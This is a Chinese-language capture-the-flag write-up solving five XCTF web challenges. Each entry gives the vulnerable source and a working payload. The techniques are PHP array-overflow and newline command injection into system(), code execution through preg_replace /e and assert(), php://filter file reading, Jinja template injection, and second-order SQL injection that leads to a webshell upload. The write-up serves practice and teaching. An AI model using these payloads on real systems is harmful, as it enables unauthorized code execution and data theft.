攻防世界2

前言

明天打虎符了,好久没打攻防世界的题了,回来练练手,顺便记录下一些有意思的没做过的题。

favorite_number

查看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}

看上去很简单,第一个地方的绕过利用php5的数组溢出漏洞绕过。接着第二个地方,num使用%0a绕过匹配,但是我们发现flag被过滤了,而且通配符也基本全军覆没。这里用到的是inode索引节点法。

payload:

1
stuff[4294967296]=admin&stuff[1]=user&num=123%0Als -i /

查询到flag的节点为1704622,获取文件:

1
stuff[4294967296]=admin&stuff[1]=user&num=123%0Atac `find / -inum 1704622`

isc-05

工控题,先在首页乱点一遍,发现就一个地方能进,进去后查看源代码,发现?page,猜测存在任意文件读取:

1
?page=php://filter/convert.base64-encode/resource=index.php

读取到源码,这里放重要部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}

乍一看这里完全没有rce的点,其实这里要利用到preg_replace()/e模式下会将替换后的语句作为php语句执行,因此我们构建payload:

1
?pat=/a/e&rep=system('cat /flag')&sub=a

mfw

进网页随便点点发现?page=,尝试伪加密居然没用,然后翻审查元素发现让我们输入flag,但是输入后是空的。这里信息搜集发现git泄露,获取到index.php,审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

这里我们直接闭合语句,然后根据代码中flag.php的位置插入rce,最后接注释就可以了:

1
?page=mrl64') or system('cat templates/flag.php');//

Confusion1

审查元素发现提示/container,进入后发现:

1
2
<!--Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->
<!--Salt @ /opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt-->

但尝试直接访问Flag文件与Salt文件都失败了,后来试了半天发现在/register.php发现了python的ssti,麻了这就是蛇吞象的含义吗。

尝试发现class的字符被过滤,但是request还在,因此用request解决就可以了,最终payload:

1
register.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

filemanager

信息搜集发现/www.tar.gz泄露,审查一堆代码,发现完全没有注入空间,各种转义白名单,但其中该文件名的代码中存在这样一条语句:

1
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");

这语句多像二次注入啊。我们审查文件是注意到extension是白名单,因此我们首先要置空白名单。我们首先上传一个空文件,命名为',extension='.png,接着更改文件名为shell.png。我们发现现在这个文件名字变成了shell.png.png,且sql语句现在如下:

1
update `file` set `filename`='upload.png', `oldname`='',extension='' where `fid`={$result['fid']}"

这里就相当于白名单置空了。接着我们上传带有一句马的shell.png文件,然后把shell.png改名为shell.php,蚁剑链接即可。